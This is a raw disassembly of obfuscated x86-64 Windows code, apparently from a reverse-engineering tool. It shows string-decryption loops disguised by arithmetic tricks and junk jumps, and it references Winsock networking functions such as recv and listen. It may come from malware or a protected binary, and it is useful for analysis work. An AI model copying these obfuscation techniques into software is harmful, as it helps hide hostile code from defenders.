lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007e153
movabs rcx, 0xf8646f9ec7d17270
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rcx, 0xd85779fde7d77430
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rdx, 0xb84a845d07dd75f0
mov ecx, gethostname
jmp 0x14007e052
movabs rdx, 0x983d8ebc27e377b0
mov ecx, Ordinal_26
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x394db4ee876552f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xca8], cl
inc r9
dec rdi
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x682a1e4ad7ec7a50
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, dl
movabs rcx, 0x49542fbef7625210
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x70
add bl, r11b
add bl, cl
mov byte [rbp + rdi + 0xca8], bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
movabs rcx, 0x481d28a9f7f27c10
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14007d4d2
mov rbx, r10
movabs rcx, 0x3816add987f57cf0
add rcx, rdi
and r10b, cl
mov eax, gethostname
sub al, r10b
lea r11d, [rax + rax]
add r11b, cl
add r11b, bl
movabs rcx, 0x595aaa8f675f5130
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x50
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xca8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x615de7f79f5dd0c0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x40
add bl, cl
mov byte [rbp + rdi + 0xca8], bl
inc r8
mov rax, r12
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x1809b838a7fb7eb0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xca8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14007d4d2
movabs rdx, 0x29aee725173845d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007d4ce
movabs rdx, 0x19a86c54a73b46b0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14007d4bb
lea rcx, [rbp + 0x17dc168]
jmp 0x14007e268
lea rcx, [rbp + 0x17c40f8]
jmp 0x14007e268
lea rcx, [rbp + 0xca8]
mov dword [rbp + 0xfb0], 0x64
mov dword [rbp + 0xfb8], 1
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xfb0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfb8]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
mov byte [rbp + 0xcd0], Ordinal_143
mov byte [rbp + 0xcd1], 0x9f
mov byte [rbp + 0xcd2], 0x85
mov byte [rbp + 0xcd3], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xcd4], __WSAFDIsSet
mov byte [rbp + 0xcd5], WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcd6], xmm0
mov qword [rbp + 0xce6], rax
mov dword [rbp + 0xcee], eax
mov byte [rbp + 0xcf2], al
movabs r13, 0xaddb8566ca96890e
movabs r14, 0x4301f16e9e593e26
movabs r15, 0xa7a64026a8f587e
movzx ebx, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor esi, esi
cmp rsi, 0x23
jae 0x14007ef21
movzx edi, byte [rbp + rsi + 0xcd0]
mov rdx, rdi
cmp r8, rsi
ja 0x14007ef18
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14007e372
lea rcx, [rsi + r13]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x62
jmp 0x14007e3b0
je 0x14007ee93
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007edf8
lea rax, [rcx + 1]
cmp r8, rax
je 0x14007edc8
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007ed66
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007ed39
nop dword [rax]
cmp r9, rsi
ja 0x14007ef0f
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14007e3de
lea rdx, [rsi + r14]
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0xa
add bl, dl
jmp 0x14007e41f
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007ece5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007ecc2
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007ec89
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007ec53
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007ec1b
nop
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x14007e85b
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007e838
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14007e808
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14007e7db
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007e7b9
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14007e795
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007e430
lea r8, [r9 + 5]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14007eeec
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14007eec5
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14007e55a
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14007e541
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14007e6d4
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14007e6a8
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14007e675
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14007e64e
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14007e627
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007e5f5
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14007e5d3
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14007e5a3
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007e581
lea r8, [r9 + 0x20]
lea r9, [r8 + 5]
jmp 0x14007e430
lea rcx, [rsi + r15]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x72
jmp 0x14007e3b0
movabs rdx, 0xaec35934d5624662
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007e344
movabs rcx, 0x180f8b74f2c9f130
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x50
jmp 0x14007ed07
movabs rdx, 0xbc5880a75d9cdf14
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
inc r9
dec rsi
inc rsi
jmp 0x14007e332
movabs rcx, 0x4ea6b0c3342badc
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 4
jmp 0x14007ed88
movabs rcx, 0x4d7c557108e896a4
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x7c
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
movabs rdx, 0xf1c54aa373bb8488
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007ee19
movabs rdx, 0x960e3fd5de8e726c
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007ee4d
movabs rcx, 0x3a57350849616050
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x30
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
movabs rcx, 0xd50d9a065470b30a
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x46
mov byte [rbp + rsi + 0xcd0], bl
inc rsi
jmp 0x14007e332
movabs rdx, 0xc1e8799d94e97cb6
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
lea rax, [r9 + r8]
cmp rax, 1
je 0x14007ebf0
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14007e9a3
movabs rcx, 0x6d4ec97e45dea856
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x5a
cmp r8, 0x28
jae 0x14007ebc2
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x14007ea7f
movabs rdx, 0xb050baece437e67c
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x64
add bl, dl
cmp r9, 0x41
jb 0x14007e6c5
movabs rcx, 0x457726f4b7fa9b94
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea ebx, [rcx*2 - 0x18]
jmp 0x14007ed07
movabs rdx, 0xda9d92fc8bbd50ac
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14007ee16
movabs rcx, 0xc7787293cc361a58
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x68
jmp 0x14007ed88
movabs rdx, 0x6bc167c63709083c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14007e332
movabs rdx, 0x100a5cf8a1dbf620
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
jmp 0x14007e332
movabs rdx, 0xb453522b0caee404
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x1c
jmp 0x14007ed05
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14007e883
lea rdx, [rsi + r13]
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x62
add bl, dl
jmp 0x14007e6f6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e8c0
movabs rcx, 0x8603e2dd3cb27c4c
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x14
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007e8f0
movabs rdx, 0x3d71f878670ca084
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007ee19
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007e92b
movabs rcx, 0x99290345fc39b2a0
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x60
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14007e969
movabs rcx, 0xf4e00e139166c4bc
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x24
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007e6f6
movabs rdx, 0xac4e23aebbc0e8f4
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14007e332
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007e9ce
movabs rcx, 0xc905d44bdb0bba72
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x1e
jmp 0x14007ed07
inc rax
cmp r8, rax
jne 0x14007ea06
movabs rdx, 0x24bcdf197038cc8e
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
inc r9
dec rsi
inc rsi
jmp 0x14007e332
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007ea3c
movabs rdx, 0x8073e9e70565deaa
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
dec rsi
inc rsi
jmp 0x14007e332
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007e72e
movabs rdx, 0x93990a4fc4ed14fe
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14007eabb
movabs rcx, 0xc07c5ba7964f898
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea ebx, [rdi + rcx]
sub bl, 0x28
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14007eaeb
movabs rdx, 0xc375db55a3bf1cd0
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
jmp 0x14007ee19
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14007eb29
movabs rcx, 0x7ae3f0f0ce194108
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x38
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14007eb59
movabs rdx, 0xd69afbbe63465324
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007ed88
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14007eb92
movabs rdx, 0x8e0911598da0775c
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
inc r9
dec rsi
inc rsi
jmp 0x14007e332
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14007e765
movabs rdx, 0xe9c01c2722cd8978
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x48
jmp 0x14007ed05
movabs rdx, 0xa12e31c24d27adb0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + rsi + 0xcd0]
add bl, dl
add bl, dil
jmp 0x14007ed88
movabs rdx, 0xfce53c8fe254bfcc
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + rsi + 0xcd0]
add bl, dl
jmp 0x14007ee16
movabs rdx, 0x7c7152a8dceee122
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
movabs rdx, 0x694c32401d67aace
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
movabs rdx, 0xd952772883a98b2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
movabs rdx, 0xb1de1ca4f30d8696
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x1a
jmp 0x14007ed86
movabs rdx, 0x9eb8fc3c33865042
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movabs rcx, 0xf352ac5b829124a2
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x6e
add cl, dil
mov byte [rbp + rsi + 0xcd0], cl
inc r9
dec rsi
inc rsi
jmp 0x14007e332
movabs rdx, 0x2fdcd105ded207d2
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
dec rsi
inc rsi
jmp 0x14007e332
movabs rdx, 0xd425c63849a4f5b6
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dil
add bl, dl
movabs rdx, 0x4f09b72917be36be
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x32
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0xcd0], cl
add r8, r9
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
movabs rcx, 0x1cb7b09d1f4ad17e
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007e332
mov rdi, rdx
movabs rcx, 0xc100a5cf8a1dbf62
add rcx, rsi
and dl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_41
sub al, dl
lea ebx, [rax + rax]
add bl, cl
add bl, dil
movabs rdx, 0xaac0c1f6aceb48da
add rdx, rsi
movzx eax, dil
and al, dl
mov ecx, 5
sub cl, al
add cl, cl
add cl, dil
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0xcd0], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0x589c475d7781d1e8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x58
add cl, dil
mov byte [rbp + rsi + 0xcd0], cl
inc r8
mov rax, r12
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
movabs rcx, 0x99290345fc39b2a
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x26
movzx eax, byte [rbp + rsi + 0xcd0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14007e332
movabs rdx, 0x530c4e6740353446
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
jmp 0x14007e330
movabs rcx, 0xf7554399ab08222a
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
sub bl, 0x26
jmp 0x14007e320
lea rsi, [rbp + 0x1642238]
jmp 0x14007ef28
lea rsi, [rbp + 0xbaab46]
jmp 0x14007ef28
lea rsi, [rbp + 0xcd0]
lea rdx, [0x140226250]
lea rcx, [rbp + 0x5c8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x38]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bab0
mov r14, rax
mov byte [rbp + 0xcf8], 3
mov byte [rbp + 0xcf9], 0xf0
mov byte [rbp + 0xcfa], 0xf8
mov byte [rbp + 0xcfb], 0xe4
mov byte [rbp + 0xcfc], 0xf1
mov byte [rbp + 0xcfd], 0xe5
mov byte [rbp + 0xcfe], 0xff
mov byte [rbp + 0xcff], 0xed
mov byte [rbp + 0xd00], 0xfd
mov byte [rbp + 0xd01], 0xe9
mov byte [rbp + 0xd02], 0xeb
mov byte [rbp + 0xd03], 0x63
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd04], xmm0
mov dword [rbp + 0xd14], eax
mov word [rbp + 0xd18], ax
mov byte [rbp + 0xd1a], al
movabs r15, 0xb26c9f1d82f73eda
movabs r13, 0xc19204cf8770b866
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
movabs rcx, 0xe3ecca9fe1aa3ff2
cmp rbx, 0x23
jae 0x14007fdd8
movzx edi, byte [rbp + rbx + 0xcf8]
mov r10, rdi
cmp r8, rbx
ja 0x14007fdcf
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14007f05c
add rcx, rbx
mov rax, rdi
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdi
add r11, rcx
add r11b, 0x62
jmp 0x14007f090
je 0x14007fd3f
inc rax
cmp r8, rax
je 0x14007fc9f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14007fc63
lea rax, [r9 + 7]
cmp r8, rax
je 0x14007fc36
nop dword [rax + rax]
cmp r9, rbx
ja 0x14007fdc6
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x14007f0bf
lea rdx, [rbx + r15]
movzx eax, dl
and al, dil
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f0f2
lea rax, [r9 + 1]
cmp r8, rax
je 0x14007fbe1
inc rax
cmp r8, rax
je 0x14007fbb4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14007fb85
lea rax, [r9 + 2]
cmp r8, rax
je 0x14007fb50
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14007f767
nop
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14007f73e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14007f711
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14007f6e7
lea rax, [r9 + 4]
cmp r8, rax
je 0x14007f6c4
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14007f6b0
lea rax, [r9 + 8]
cmp r8, rax
je 0x14007f67c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14007f658
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14007f62f
lea rcx, [r9 + 0x2a]
cmp r8, rcx
je 0x14007f5f5
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007f100
mov r8, rcx
lea r9, [rcx + 3]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x14007fd9d
lea rax, [r9 + 0x28]
cmp rcx, rax
jb 0x14007fd79
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x14007f303
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x14007f2da
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x14007f2ba
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x14007f58f
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x14007f530
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x14007f4e1
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14007f4ad
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x14007f100
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x41]
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007f473
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14007f44b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14007f427
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14007f3ee
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14007f3da
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14007f3b1
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14007f387
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14007f35a
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14007f331
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14007f100
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x14007f100
lea rdx, [rbx + r13]
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f0f2
movabs rdx, 0xf9b86f8fc41c3882
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007f090
movabs rcx, 0x31deda5000c7b89e
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x52
movabs rcx, 0xe3ecca9fe1aa3ff2
jmp 0x14007f02e
movabs rdx, 0x9364f8ec17b9f6d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14007fc00
movabs rcx, 0xcb8b63ac546576ec
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x74
inc r9
dec rbx
inc rbx
jmp 0x14007f012
movabs rcx, 0x3b1ce6c9110f708
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
dec rbx
inc rbx
jmp 0x14007f012
movabs rdx, 0x3bd8392ccdbc7724
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
jmp 0x14007faf5
movabs rdx, 0x73fea3ed0a67f740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14007fc72
movabs rdx, 0xac250ead4713775c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14007f012
movabs rcx, 0xe44b796d83bef778
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
jmp 0x14007fcc5
movabs rdx, 0x1c71e42dc06a7794
add rdx, rbx
movzx eax, dil
and al, dl
add al, al
movzx r11d, dil
sub r11b, al
sub r11b, 0xc
add r11b, dl
jmp 0x14007fcf5
movabs rdx, 0x54984eedfd15f7b0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xcf8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14007f012
movabs rdx, 0xe0f859ce94c2b7f6
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
mov byte [rbp + rbx + 0xcf8], r11b
inc rbx
jmp 0x14007f012
